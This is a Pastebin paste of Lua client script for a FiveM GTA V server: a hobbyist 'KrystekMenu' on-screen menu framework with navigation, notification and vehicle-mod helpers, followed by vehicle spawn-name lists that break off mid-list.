KrystekYY

Untitled

Aug 3rd, 2020
62
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local mhaonn = true
  2. ESX = nil
  3. Citizen.CreateThread(
  4. function()
  5. while ESX == nil do
  6. TriggerEvent(
  7. 'esx:getSharedObject',
  8. function(a)
  9. ESX = a
  10. end
  11. )
  12. Citizen.Wait(1000)
  13. end
  14. end
  15. )
  16.  
  17. Citizen.CreateThread(function()
  18. -- BIERZE ZDJECIE PEDA
  19. local handle = RegisterPedheadshot(PlayerPedId())
  20. while not IsPedheadshotReady(handle) or not IsPedheadshotValid(handle) do
  21. Citizen.Wait(0)
  22. end
  23. local txd = GetPedheadshotTxdString(handle)
  24.  
  25. -- DODAJE TEXT DO POWIADOMIENIA
  26. SetNotificationTextEntry("STRING")
  27. SetNotificationBackgroundColor(200) -- dostepne kolory | http://gyazo.com/68bd384455fceb0a85a8729e48216e15 |
  28. AddTextComponentSubstringPlayerName("hejka")
  29.  
  30.  
  31. -- USTAWIA TYTUL PODTYTUL I IKONKE
  32. local title = GetPlayerName(PlayerId())
  33. local subtitle = "Twoje ID | " ..GetPlayerServerId(PlayerId())
  34. local iconType = 8
  35. local flash = false
  36. SetNotificationMessage(txd, txd, flash, iconType, title, subtitle)
  37.  
  38. -- POKAZUJE POWIADOMIENIE
  39. local showInBrief = true
  40. local blink = false
  41. DrawNotification(blink, showInBrief)
  42.  
  43. -- USUWA POWIADMIENIE
  44. UnregisterPedheadshot(handle)
  45. end)
  46.  
  47. local function e()
  48. local name = GetPlayerName(PlayerId())
  49. end
  50. local h = false
  51. rot = 1
  52. local j = false
  53. KrystekMenu = {}
  54. KrystekMenu.debug = false
  55. local function k(l)
  56. local m = {}
  57. local n = GetGameTimer() / 200
  58. m.r = math.floor(math.sin(n * l + 0) * 127 + 128)
  59. m.g = math.floor(math.sin(n * l + 2) * 127 + 128)
  60. m.b = math.floor(math.sin(n * l + 4) * 127 + 128)
  61. return m
  62. end
  63. local o = {}
  64. local p = {
  65. up = 172,
  66. down = 173,
  67. left = 174,
  68. right = 175,
  69. select = 176,
  70. back = 177
  71. }
  72. local q = 0
  73. local s = nil
  74. local t = nil
  75. local u = 0.23
  76. local v = 0.11
  77. local w = 0.03
  78. local A = 1.0
  79. local B = 0.041
  80. local C = 0
  81. local D = 0.370
  82. local E = 0.005
  83. local F = 0.005
  84. local G = 'Stworzony Przez Krystek :D <3'
  85. local function H(I)
  86. if KrystekMenu.debug then
  87. Citizen.Trace('[KrystekMenu] ' .. tostring(I))
  88. end
  89. end
  90. local function J(f, K, value)
  91. if f and o[f] then
  92. o[f][K] = value
  93. H(f .. ' menu property changed: { ' .. tostring(K) .. ', ' .. tostring(value) .. ' }')
  94. end
  95. end
  96.  
  97. function engine(veh)
  98. SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  99. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
  100. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
  101. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
  102. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
  103. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
  104. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
  105. end
  106.  
  107. local function L(f)
  108. if f and o[f] then
  109. return o[f].visible
  110. else
  111. return false
  112. end
  113. end
  114. local function M(f, N, O)
  115. if f and o[f] then
  116. J(f, 'visible', N)
  117. if not O and o[f] then
  118. J(f, 'currentOption', 1)
  119. end
  120. if N then
  121. if f ~= t and L(t) then
  122. M(t, false)
  123. end
  124. t = f
  125. end
  126. end
  127. end
  128. local function P(I, x, y, Q, R, S, T, U, V)
  129. SetTextColour(R.r, R.g, R.b, R.a)
  130. SetTextFont(Q)
  131. SetTextScale(S, S)
  132. if U then
  133. SetTextDropShadow(2, 2, 0, 0, 0)
  134. end
  135. if o[t] then
  136. if T then
  137. SetTextCentre(T)
  138. elseif V then
  139. SetTextWrap(o[t].x, o[t].x + u - E)
  140. SetTextRightJustify(true)
  141. end
  142. end
  143. SetTextEntry('STRING')
  144. AddTextComponentString(I)
  145. DrawText(x, y)
  146. end
  147. local function W(x, y, X, height, R)
  148. DrawRect(x, y, X, height, R.r, R.g, R.b, R.a)
  149. end
  150. local function Y()
  151. if o[t] then
  152. local x = o[t].x + u / 2
  153. local y = o[t].y + v / 2
  154. if o[t].titleBackgroundSprite then
  155. DrawSprite(
  156. o[t].titleBackgroundSprite.dict,
  157. o[t].titleBackgroundSprite.name,
  158. x,
  159. y,
  160. u,
  161. v,
  162. 0.,
  163. 255,
  164. 255,
  165. 255,
  166. 255
  167. )
  168. else
  169. W(x, y, u, v, o[t].titleBackgroundColor)
  170. end
  171. P(o[t].title, x, y - v / 2 + w, o[t].titleFont, o[t].titleColor, A, true)
  172. end
  173. end
  174. local function Z()
  175. if o[t] then
  176. local x = o[t].x + u / 2
  177. local y = o[t].y + v + B / 2
  178. local a0 = {
  179. r = o[t].titleBackgroundColor.r,
  180. g = o[t].titleBackgroundColor.g,
  181. b = o[t].titleBackgroundColor.b,
  182. a = 255
  183. }
  184. W(x, y, u, B, o[t].subTitleBackgroundColor)
  185. P(o[t].subTitle, o[t].x + E, y - B / 2 + F, C, a0, D, false)
  186. if q > o[t].maxOptionCount then
  187. P(
  188. tostring(o[t].currentOption) .. ' / ' .. tostring(q),
  189. o[t].x + u,
  190. y - B / 2 + F,
  191. C,
  192. a0,
  193. D,
  194. false,
  195. false,
  196. true
  197. )
  198. end
  199. end
  200. end
  201.  
  202. local function a1(I, a2)
  203. local x = o[t].x + u / 2
  204. local a3 = nil
  205. if o[t].currentOption <= o[t].maxOptionCount and q <= o[t].maxOptionCount then
  206. a3 = q
  207. elseif q > o[t].currentOption - o[t].maxOptionCount and q <= o[t].currentOption then
  208. a3 = q - (o[t].currentOption - o[t].maxOptionCount)
  209. end
  210. if a3 then
  211. local y = o[t].y + v + B + B * a3 - B / 2
  212. local a4 = nil
  213. local a5 = nil
  214. local a6 = nil
  215. local U = false
  216. if o[t].currentOption == q then
  217. a4 = o[t].menuFocusBackgroundColor
  218. a5 = o[t].menuFocusTextColor
  219. a6 = o[t].menuFocusTextColor
  220. else
  221. a4 = o[t].menuBackgroundColor
  222. a5 = o[t].menuTextColor
  223. a6 = o[t].menuSubTextColor
  224. U = true
  225. end
  226. W(x, y, u, B, a4)
  227. P(I, o[t].x + E, y - B / 2 + F, C, a5, D, false, U)
  228. if a2 then
  229. P(a2, o[t].x + E, y - B / 2 + F, C, a6, D, false, U, true)
  230. end
  231. end
  232. end
  233.  
  234. function KrystekMenu.CreateMenu(f, a7)
  235. o[f] = {}
  236. o[f].title = a7
  237. o[f].subTitle = G
  238. o[f].visible = false
  239. o[f].previousMenu = nil
  240. o[f].aboutToBeClosed = false
  241. o[f].x = 0.75
  242. o[f].y = 0.19
  243. o[f].currentOption = 1
  244. o[f].maxOptionCount = 10
  245. o[f].titleFont = 1
  246. o[f].titleColor = {
  247. r = 255,
  248. g = 255,
  249. b = 255,
  250. a = 255
  251. }
  252. Citizen.CreateThread(
  253. function()
  254. while true do
  255. Citizen.Wait(0)
  256. local a8 = k(1.0)
  257. o[f].titleBackgroundColor = {
  258. r = a8.r,
  259. g = a8.g,
  260. b = a8.b,
  261. a = 105
  262. }
  263. o[f].menuFocusBackgroundColor = {
  264. r = 255,
  265. g = 255,
  266. b = 255,
  267. a = 100
  268. }
  269. end
  270. end
  271. )
  272. o[f].titleBackgroundSprite = nil
  273. o[f].menuTextColor = {
  274. r = 255,
  275. g = 255,
  276. b = 255,
  277. a = 255
  278. }
  279. o[f].menuSubTextColor = {
  280. r = 189,
  281. g = 189,
  282. b = 189,
  283. a = 255
  284. }
  285. o[f].menuFocusTextColor = {
  286. r = 255,
  287. g = 255,
  288. b = 255,
  289. a = 255
  290. }
  291. o[f].menuBackgroundColor = {
  292. r = 0,
  293. g = 0,
  294. b = 0,
  295. a = 100
  296. }
  297. o[f].subTitleBackgroundColor = {
  298. r = o[f].menuBackgroundColor.r,
  299. g = o[f].menuBackgroundColor.g,
  300. b = o[f].menuBackgroundColor.b,
  301. a = 255
  302. }
  303. o[f].buttonPressedSound = {
  304. name = '~h~~r~> ~s~SELECT',
  305. set = 'HUD_FRONTEND_DEFAULT_SOUNDSET'
  306. }
  307. H(tostring(f) .. ' menu created')
  308. end
  309.  
  310. function KrystekMenu.CreateSubMenu(f, a9, aa)
  311. if o[a9] then
  312. KrystekMenu.CreateMenu(f, o[a9].title)
  313. if aa then
  314. J(f, 'subTitle', aa)
  315. else
  316. J(f, 'subTitle', o[a9].subTitle)
  317. end
  318. J(f, 'previousMenu', a9)
  319. J(f, 'x', o[a9].x)
  320. J(f, 'y', o[a9].y)
  321. J(f, 'maxOptionCount', o[a9].maxOptionCount)
  322. J(f, 'titleFont', o[a9].titleFont)
  323. J(f, 'titleColor', o[a9].titleColor)
  324. J(f, 'titleBackgroundColor', o[a9].titleBackgroundColor)
  325. J(f, 'titleBackgroundSprite', o[a9].titleBackgroundSprite)
  326. J(f, 'menuTextColor', o[a9].menuTextColor)
  327. J(f, 'menuSubTextColor', o[a9].menuSubTextColor)
  328. J(f, 'menuFocusTextColor', o[a9].menuFocusTextColor)
  329. J(f, 'menuFocusBackgroundColor', o[a9].menuFocusBackgroundColor)
  330. J(f, 'menuBackgroundColor', o[a9].menuBackgroundColor)
  331. J(f, 'subTitleBackgroundColor', o[a9].subTitleBackgroundColor)
  332. else
  333. H('Failed to create ' .. tostring(f) .. ' submenu: ' .. tostring(a9) .. " parent menu doesn't exist")
  334. end
  335. end
  336.  
  337. function KrystekMenu.CurrentMenu()
  338. return t
  339. end
  340.  
  341. function KrystekMenu.OpenMenu(f)
  342. if f and o[f] then
  343. PlaySoundFrontend(-1, 'SELECT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  344. M(f, true)
  345. if o[f].titleBackgroundSprite then
  346. RequestStreamedTextureDict(o[f].titleBackgroundSprite.dict, false)
  347. while not HasStreamedTextureDictLoaded(o[f].titleBackgroundSprite.dict) do
  348. Citizen.Wait(0)
  349. end
  350. end
  351. H(tostring(f) .. ' menu opened')
  352. else
  353. H('Failed to open ' .. tostring(f) .. " menu: it doesn't exist")
  354. end
  355. end
  356.  
  357. function KrystekMenu.IsMenuOpened(f)
  358. return L(f)
  359. end
  360.  
  361. function KrystekMenu.IsAnyMenuOpened()
  362. for f, _ in pairs(o) do
  363. if L(f) then
  364. return true
  365. end
  366. end
  367. return false
  368. end
  369.  
  370. function KrystekMenu.IsMenuAboutToBeClosed()
  371. if o[t] then
  372. return o[t].aboutToBeClosed
  373. else
  374. return false
  375. end
  376. end
  377.  
  378. function KrystekMenu.CloseMenu()
  379. if o[t] then
  380. if o[t].aboutToBeClosed then
  381. o[t].aboutToBeClosed = false
  382. M(t, false)
  383. H(tostring(t) .. ' menu closed')
  384. PlaySoundFrontend(-1, 'QUIT', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  385. q = 0
  386. t = nil
  387. s = nil
  388. else
  389. o[t].aboutToBeClosed = true
  390. H(tostring(t) .. ' menu about to be closed')
  391. end
  392. end
  393. end
  394.  
  395. function KrystekMenu.Button(I, a2)
  396. local ab = I
  397. if a2 then
  398. ab = '{ ' .. tostring(ab) .. ', ' .. tostring(a2) .. ' }'
  399. end
  400. if o[t] then
  401. q = q + 1
  402. local ac = o[t].currentOption == q
  403. a1(I, a2)
  404. if ac then
  405. if s == p.select then
  406. PlaySoundFrontend(-1, o[t].buttonPressedSound.name, o[t].buttonPressedSound.set, true)
  407. H(ab .. ' button pressed')
  408. return true
  409. elseif s == p.left or s == p.right then
  410. PlaySoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  411. end
  412. end
  413. return false
  414. else
  415. H('Failed to create ' .. ab .. ' button: ' .. tostring(t) .. " menu doesn't exist")
  416. return false
  417. end
  418. end
  419.  
  420. function KrystekMenu.MenuButton(I, f)
  421. if o[f] then
  422. if KrystekMenu.Button(I) then
  423. M(t, false)
  424. M(f, true, true)
  425. return true
  426. end
  427. else
  428. H('Failed to create ' .. tostring(I) .. ' menu button: ' .. tostring(f) .. " submenu doesn't exist")
  429. end
  430. return false
  431. end
  432.  
  433. function KrystekMenu.CheckBox(I, bool, ad)
  434. local ae = '~r~~h~OFF'
  435. if bool then
  436. ae = '~g~~h~ON'
  437. end
  438. if KrystekMenu.Button(I, ae) then
  439. bool = not bool
  440. H(tostring(I) .. ' checkbox changed to ' .. tostring(bool))
  441. ad(bool)
  442. return true
  443. end
  444. return false
  445. end
  446.  
  447. function KrystekMenu.ComboBox(I, af, ag, ah, ad)
  448. local ai = #af
  449. local aj = af[ag]
  450. local ac = o[t].currentOption == q + 1
  451. if ai > 1 and ac then
  452. aj = '← ' .. tostring(aj) .. ' →'
  453. end
  454. if KrystekMenu.Button(I, aj) then
  455. ah = ag
  456. ad(ag, ah)
  457. return true
  458. elseif ac then
  459. if s == p.left then
  460. if ag > 1 then
  461. ag = ag - 1
  462. else
  463. ag = ai
  464. end
  465. elseif s == p.right then
  466. if ag < ai then
  467. ag = ag + 1
  468. else
  469. ag = 1
  470. end
  471. end
  472. else
  473. ag = ah
  474. end
  475. ad(ag, ah)
  476. return false
  477. end
  478.  
  479. local function bz(I, x, y)
  480. SetTextFont(7)
  481. SetTextProportional(3)
  482. SetTextScale(0.0, 0.2)
  483. SetTextDropshadow(1, 0, 0, 0, 255)
  484. SetTextEdge(1, 150, 150, 0, 255)
  485. SetTextDropShadow()
  486. SetTextOutline()
  487. SetTextEntry('STRING')
  488. AddTextComponentString(I)
  489. DrawText(x, y)
  490. end
  491.  
  492. function KrystekMenu.Display()
  493. if L(t) then
  494. if o[t].aboutToBeClosed then
  495. KrystekMenu.CloseMenu()
  496. else
  497. ClearAllHelpMessages()
  498. Y()
  499. Z()
  500. s = nil
  501. if IsDisabledControlJustPressed(0, p.down) then
  502. PlaySoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  503. if o[t].currentOption < q then
  504. o[t].currentOption = o[t].currentOption + 1
  505. else
  506. o[t].currentOption = 1
  507. end
  508. elseif IsDisabledControlJustPressed(0, p.up) then
  509. PlaySoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  510. if o[t].currentOption > 1 then
  511. o[t].currentOption = o[t].currentOption - 1
  512. else
  513. o[t].currentOption = q
  514. end
  515. elseif IsDisabledControlJustPressed(0, p.left) then
  516. s = p.left
  517. elseif IsDisabledControlJustPressed(0, p.right) then
  518. s = p.right
  519. elseif IsDisabledControlJustPressed(0, p.select) then
  520. s = p.select
  521. elseif IsDisabledControlJustPressed(0, p.back) then
  522. if o[o[t].previousMenu] then
  523. PlaySoundFrontend(-1, 'BACK', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  524. M(o[t].previousMenu, true)
  525. else
  526. KrystekMenu.CloseMenu()
  527. end
  528. end
  529. q = 0
  530. end
  531. end
  532. end
  533.  
  534. function KrystekMenu.SetMenuWidth(f, X)
  535. J(f, 'width', X)
  536. end
  537.  
  538. function KrystekMenu.SetMenuX(f, x)
  539. J(f, 'x', x)
  540. end
  541.  
  542. function KrystekMenu.SetMenuY(f, y)
  543. J(f, 'y', y)
  544. end
  545.  
  546. function KrystekMenu.SetMenuMaxOptionCountOnScreen(f, count)
  547. J(f, 'maxOptionCount', count)
  548. end
  549.  
  550. function KrystekMenu.SetTitleColor(f, r, g, b, ak)
  551. J(
  552. f,
  553. 'titleColor',
  554. {
  555. ['r'] = r,
  556. ['g'] = g,
  557. ['b'] = b,
  558. ['a'] = ak or o[f].titleColor.a
  559. }
  560. )
  561. end
  562.  
  563. function KrystekMenu.SetTitleBackgroundColor(f, r, g, b, ak)
  564. J(
  565. f,
  566. 'titleBackgroundColor',
  567. {
  568. ['r'] = r,
  569. ['g'] = g,
  570. ['b'] = b,
  571. ['a'] = ak or o[f].titleBackgroundColor.a
  572. }
  573. )
  574. end
  575.  
  576. function KrystekMenu.SetTitleBackgroundSprite(f, al, am)
  577. J(
  578. f,
  579. 'titleBackgroundSprite',
  580. {
  581. dict = al,
  582. name = am
  583. }
  584. )
  585. end
  586.  
  587. function KrystekMenu.SetSubTitle(f, I)
  588. J(f, 'subTitle', I)
  589. end
  590.  
  591. function KrystekMenu.SetMenuBackgroundColor(f, r, g, b, ak)
  592. J(
  593. f,
  594. 'menuBackgroundColor',
  595. {
  596. ['r'] = r,
  597. ['g'] = g,
  598. ['b'] = b,
  599. ['a'] = ak or o[f].menuBackgroundColor.a
  600. }
  601. )
  602. end
  603.  
  604. function KrystekMenu.SetMenuTextColor(f, r, g, b, ak)
  605. J(
  606. f,
  607. 'menuTextColor',
  608. {
  609. ['r'] = r,
  610. ['g'] = g,
  611. ['b'] = b,
  612. ['a'] = ak or o[f].menuTextColor.a
  613. }
  614. )
  615. end
  616.  
  617. function KrystekMenu.SetMenuSubTextColor(f, r, g, b, ak)
  618. J(
  619. f,
  620. 'menuSubTextColor',
  621. {
  622. ['r'] = r,
  623. ['g'] = g,
  624. ['b'] = b,
  625. ['a'] = ak or o[f].menuSubTextColor.a
  626. }
  627. )
  628. end
  629.  
  630. function KrystekMenu.SetMenuFocusColor(f, r, g, b, ak)
  631. J(
  632. f,
  633. 'menuFocusColor',
  634. {
  635. ['r'] = r,
  636. ['g'] = g,
  637. ['b'] = b,
  638. ['a'] = ak or o[f].menuFocusColor.a
  639. }
  640. )
  641. end
  642.  
  643. function KrystekMenu.SetMenuButtonPressedSound(f, name, an)
  644. J(
  645. f,
  646. 'buttonPressedSound',
  647. {
  648. ['name'] = name,
  649. ['set'] = an
  650. }
  651. )
  652. end
  653.  
  654. function KeyboardInput(ao, ap, aq)
  655. AddTextEntry('FMMC_KEY_TIP1', ao .. ':')
  656. DisplayOnscreenKeyboard(1, 'FMMC_KEY_TIP1', '', ap, '', '', '', aq)
  657. blockinput = true
  658. while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do
  659. Citizen.Wait(0)
  660. end
  661. if UpdateOnscreenKeyboard() ~= 2 then
  662. AddTextEntry('FMMC_KEY_TIP1', '')
  663. local m = GetOnscreenKeyboardResult()
  664. Citizen.Wait(500)
  665. blockinput = false
  666. return m
  667. else
  668. AddTextEntry('FMMC_KEY_TIP1', '')
  669. Citizen.Wait(500)
  670. blockinput = false
  671. return nil
  672. end
  673. end
  674. local function ar()
  675. local as = {}
  676. for i = 0, GetNumberOfPlayers() do
  677. if NetworkIsPlayerActive(i) then
  678. as[#as + 1] = i
  679. end
  680. end
  681. return as
  682. end
  683.  
  684. function DrawText3D(x, y, z, I, r, g, b)
  685. SetDrawOrigin(x, y, z, 0)
  686. SetTextFont(0)
  687. SetTextProportional(0)
  688. SetTextScale(0.0, 0.20)
  689. SetTextColour(r, g, b, 255)
  690. SetTextDropshadow(0, 0, 0, 0, 255)
  691. SetTextEdge(2, 0, 0, 0, 150)
  692. SetTextDropShadow()
  693. SetTextOutline()
  694. SetTextEntry('STRING')
  695. SetTextCentre(1)
  696. AddTextComponentString(I)
  697. DrawText(0.0, 0.0)
  698. ClearDrawOrigin()
  699. end
  700.  
  701. function math.round(at, au)
  702. return tonumber(string.format('%.' .. (au or 0) .. 'f', at))
  703. end
  704. local function k(l)
  705. local m = {}
  706. local n = GetGameTimer() / 1000
  707. m.r = math.floor(math.sin(n * l + 0) * 127 + 128)
  708. m.g = math.floor(math.sin(n * l + 2) * 127 + 128)
  709. m.b = math.floor(math.sin(n * l + 4) * 127 + 128)
  710. return m
  711. end
  712. local function av(I, aw)
  713. SetNotificationTextEntry('STRING')
  714. AddTextComponentString(I)
  715. DrawNotification(aw, false)
  716. if rgbnot then
  717. for i = 0, 24 do
  718. i = i + 1
  719. SetNotificationBackgroundColor(i)
  720. end
  721. else
  722. SetNotificationBackgroundColor(140)
  723. end
  724. end
  725.  
  726. function checkValidVehicleExtras()
  727. local ax = PlayerPedId()
  728. local ay = GetVehiclePedIsIn(ax, false)
  729. local az = {}
  730. for i = 0, 50, 1 do
  731. if DoesExtraExist(ay, i) then
  732. local aA = '~h~Extra #' .. tostring(i)
  733. local I = 'OFF'
  734. if IsVehicleExtraTurnedOn(ay, i) then
  735. I = 'ON'
  736. end
  737. local aB = '~h~extra ' .. tostring(i)
  738. table.insert(
  739. az,
  740. {
  741. menuName = realModName,
  742. data = {
  743. ['action'] = realSpawnName,
  744. ['state'] = I
  745. }
  746. }
  747. )
  748. end
  749. end
  750. return az
  751. end
  752.  
  753. function DoesVehicleHaveExtras(veh)
  754. for i = 1, 30 do
  755. if DoesExtraExist(veh, i) then
  756. return true
  757. end
  758. end
  759. return false
  760. end
  761.  
  762. function checkValidVehicleMods(aC)
  763. local ax = PlayerPedId()
  764. local ay = GetVehiclePedIsIn(ax, false)
  765. local az = {}
  766. local aD = GetNumVehicleMods(ay, aC)
  767. if aC == 48 and aD == 0 then
  768. local aD = GetVehicleLiveryCount(ay)
  769. for i = 1, aD, 1 do
  770. local aE = i - 1
  771. local aF = GetLiveryName(ay, aE)
  772. local realModName = GetLabelText(aF)
  773. local aG, realSpawnName = aC, aE
  774. az[i] = {
  775. menuName = realModName,
  776. data = {
  777. ['modid'] = aG,
  778. ['realIndex'] = realSpawnName
  779. }
  780. }
  781. end
  782. end
  783. for i = 1, aD, 1 do
  784. local aE = i - 1
  785. local aF = GetModTextLabel(ay, aC, aE)
  786. local realModName = GetLabelText(aF)
  787. local aG, realSpawnName = aD, aE
  788. az[i] = {
  789. menuName = realModName,
  790. data = {
  791. ['modid'] = aG,
  792. ['realIndex'] = realSpawnName
  793. }
  794. }
  795. end
  796. if aD > 0 then
  797. local aE = -1
  798. local aG, realSpawnName = aC, aE
  799. table.insert(
  800. az,
  801. 1,
  802. {
  803. menuName = 'Stock',
  804. data = {
  805. ['modid'] = aG,
  806. ['realIndex'] = realSpawnName
  807. }
  808. }
  809. )
  810. end
  811. return az
  812. end
  813. local aH = {
  814. 'Dinghy',
  815. 'Dinghy2',
  816. 'Dinghy3',
  817. 'Dingh4',
  818. 'Jetmax',
  819. 'Marquis',
  820. 'Seashark',
  821. 'Seashark2',
  822. 'Seashark3',
  823. 'Speeder',
  824. 'Speeder2',
  825. 'Squalo',
  826. 'Submersible',
  827. 'Submersible2',
  828. 'Suntrap',
  829. 'Toro',
  830. 'Toro2',
  831. 'Tropic',
  832. 'Tropic2',
  833. 'Tug'
  834. }
  835. local aI = {
  836. 'Benson',
  837. 'Biff',
  838. 'Cerberus',
  839. 'Cerberus2',
  840. 'Cerberus3',
  841. 'Hauler',
  842. 'Hauler2',
  843. 'Mule',
  844. 'Mule2',
  845. 'Mule3',
  846. 'Mule4',
  847. 'Packer',
  848. 'Phantom',
  849. 'Phantom2',
  850. 'Phantom3',
  851. 'Pounder',
  852. 'Pounder2',
  853. 'Stockade',
  854. 'Stockade3',
  855. 'Terbyte'
  856. }
  857. local aJ = {
  858. 'Blista',
  859. 'Blista2',
  860. 'Blista3',
  861. 'Brioso',
  862. 'Dilettante',
  863. 'Dilettante2',
  864. 'Issi2',
  865. 'Issi3',
  866. 'issi4',
  867. 'Iss5',
  868. 'issi6',
  869. 'Panto',
  870. 'Prarire',
  871. 'Rhapsody'
  872. }
  873. local aK = {
  874. 'CogCabrio',
  875. 'Exemplar',
  876. 'F620',
  877. 'Felon',
  878. 'Felon2',
  879. 'Jackal',
  880. 'Oracle',
  881. 'Oracle2',
  882. 'Sentinel',
  883. 'Sentinel2',
  884. 'Windsor',
  885. 'Windsor2',
  886. 'Zion',
  887. 'Zion2'
  888. }
  889. local aL = {
  890. 'Bmx',
  891. 'Cruiser',
  892. 'Fixter',
  893. 'Scorcher',
  894. 'Tribike',
  895. 'Tribike2',
  896. 'tribike3'
  897. }
  898. local aM = {
  899. 'ambulance',
  900. 'FBI',
  901. 'FBI2',
  902. 'FireTruk',
  903. 'PBus',
  904. 'police',
  905. 'Police2',
  906. 'Police3',
  907. 'Police4',
  908. 'PoliceOld1',
  909. 'PoliceOld2',
  910. 'PoliceT',
  911. 'Policeb',
  912. 'Polmav',
  913. 'Pranger',
  914. 'Predator',
  915. 'Riot',
  916. 'Riot2',
  917. 'Sheriff',
  918. 'Sheriff2'
  919. }
  920. local aN = {
  921. 'Akula',
  922. 'Annihilator',
  923. 'Buzzard',
  924. 'Buzzard2',
  925. 'Cargobob',
  926. 'Cargobob2',
  927. 'Cargobob3',
  928. 'Cargobob4',
  929. 'Frogger',
  930. 'Frogger2',
  931. 'Havok',
  932. 'Hunter',
  933. 'Maverick',
  934. 'Savage',
  935. 'Seasparrow',
  936. 'Skylift',
  937. 'Supervolito',
  938. 'Supervolito2',
  939. 'Swift',
  940. 'Swift2',
  941. 'Valkyrie',
  942. 'Valkyrie2',
  943. 'Volatus'
  944. }
  945. local aO = {
  946. 'Bulldozer',
  947. 'Cutter',
  948. 'Dump',
  949. 'Flatbed',
  950. 'Guardian',
  951. 'Handler',
  952. 'Mixer',
  953. 'Mixer2',
  954. 'Rubble',
  955. 'Tiptruck',
  956. 'Tiptruck2'
  957. }
  958. local aP = {
  959. 'APC',
  960. 'Barracks',
  961. 'Barracks2',
  962. 'Barracks3',
  963. 'Barrage',
  964. 'Chernobog',
  965. 'Crusader',
  966. 'Halftrack',
  967. 'Khanjali',
  968. 'Rhino',
  969. 'Scarab',
  970. 'Scarab2',
  971. 'Scarab3',
  972. 'Thruster',
  973. 'Trailersmall2'
  974. }
  975. local aQ = {
  976. 'Akuma',
  977. 'Avarus',
  978. 'Bagger',
  979. 'Bati2',
  980. 'Bati',
  981. 'BF400',
  982. 'Blazer4',
  983. 'CarbonRS',
  984. 'Chimera',
  985. 'Cliffhanger',
  986. 'Daemon',
  987. 'Daemon2',
  988. 'Defiler',
  989. 'Deathbike',
  990. 'Deathbike2',
  991. 'Deathbike3',
  992. 'Diablous',
  993. 'Diablous2',
  994. 'Double',
  995. 'Enduro',
  996. 'esskey',
  997. 'Faggio2',
  998. 'Faggio3',
  999. 'Faggio',
  1000. 'Fcr2',
  1001. 'fcr',
  1002. 'gargoyle',
  1003. 'hakuchou2',
  1004. 'hakuchou',
  1005. 'hexer',
  1006. 'innovation',
  1007. 'Lectro',
  1008. 'Manchez',
  1009. 'Nemesis',
  1010. 'Nightblade',
  1011. 'Oppressor',
  1012. 'Oppressor2',
  1013. 'PCJ',
  1014. 'Ratbike',
  1015. 'Ruffian',
  1016. 'Sanchez2',
  1017. 'Sanchez',
  1018. 'Sanctus',
  1019. 'Shotaro',
  1020. 'Sovereign',
  1021. 'Thrust',
  1022. 'Vader',
  1023. 'Vindicator',
  1024. 'Vortex',
  1025. 'Wolfsbane',
  1026. 'zombiea',
  1027. 'zombieb'
  1028. }
  1029. local aR = {
  1030. 'Blade',
  1031. 'Buccaneer',
  1032. 'Buccaneer2',
  1033. 'Chino',
  1034. 'Chino2',
  1035. 'clique',
  1036. 'Deviant',
  1037. 'Dominator',
  1038. 'Dominator2',
  1039. 'Dominator3',
  1040. 'Dominator4',
  1041. 'Dominator5',
  1042. 'Dominator6',
  1043. 'Dukes',
  1044. 'Dukes2',
  1045. 'Ellie',
  1046. 'Faction',
  1047. 'faction2',
  1048. 'faction3',
  1049. 'Gauntlet',
  1050. 'Gauntlet2',
  1051. 'Hermes',
  1052. 'Hotknife',
  1053. 'Hustler',
  1054. 'Impaler',
  1055. 'Impaler2',
  1056. 'Impaler3',
  1057. 'Impaler4',
  1058. 'Imperator',
  1059. 'Imperator2',
  1060. 'Imperator3',
  1061. 'Lurcher',
  1062. 'Moonbeam',
  1063. 'Moonbeam2',
  1064. 'Nightshade',
  1065. 'Phoenix',
  1066. 'Picador',
  1067. 'RatLoader',
  1068. 'RatLoader2',
  1069. 'Ruiner',
  1070. 'Ruiner2',
  1071. 'Ruiner3',
  1072. 'SabreGT',
  1073. 'SabreGT2',
  1074. 'Sadler2',
  1075. 'Slamvan',
  1076. 'Slamvan2',
  1077. 'Slamvan3',
  1078. 'Slamvan4',
  1079. 'Slamvan5',
  1080. 'Slamvan6',
  1081. 'Stalion',
  1082. 'Stalion2',
  1083. 'Tampa',
  1084. 'Tampa3',
  1085. 'Tulip',
  1086. 'Vamos,',
  1087. 'Vigero',
  1088. 'Virgo',
  1089. 'Virgo2',
  1090. 'Virgo3',
  1091. 'Voodoo',
  1092. 'Voodoo2',
  1093. 'Yosemite'
  1094. }
  1095. local aS = {
  1096. 'BFinjection',
  1097. 'Bifta',
  1098. 'Blazer',
  1099. 'Blazer2',
  1100. 'Blazer3',
  1101. 'Blazer5',
  1102. 'Bohdi',
  1103. 'Brawler',
  1104. 'Bruiser',
  1105. 'Bruiser2',
  1106. 'Bruiser3',
  1107. 'Caracara',
  1108. 'DLoader',
  1109. 'Dune',
  1110. 'Dune2',
  1111. 'Dune3',
  1112. 'Dune4',
  1113. 'Dune5',
  1114. 'Insurgent',
  1115. 'Insurgent2',
  1116. 'Insurgent3',
  1117. 'Kalahari',
  1118. 'Kamacho',
  1119. 'LGuard',
  1120. 'Marshall',
  1121. 'Mesa',
  1122. 'Mesa2',
  1123. 'Mesa3',
  1124. 'Monster',
  1125. 'Monster4',
  1126. 'Monster5',
  1127. 'Nightshark',
  1128. 'RancherXL',
  1129. 'RancherXL2',
  1130. 'Rebel',
  1131. 'Rebel2',
  1132. 'RCBandito',
  1133. 'Riata',
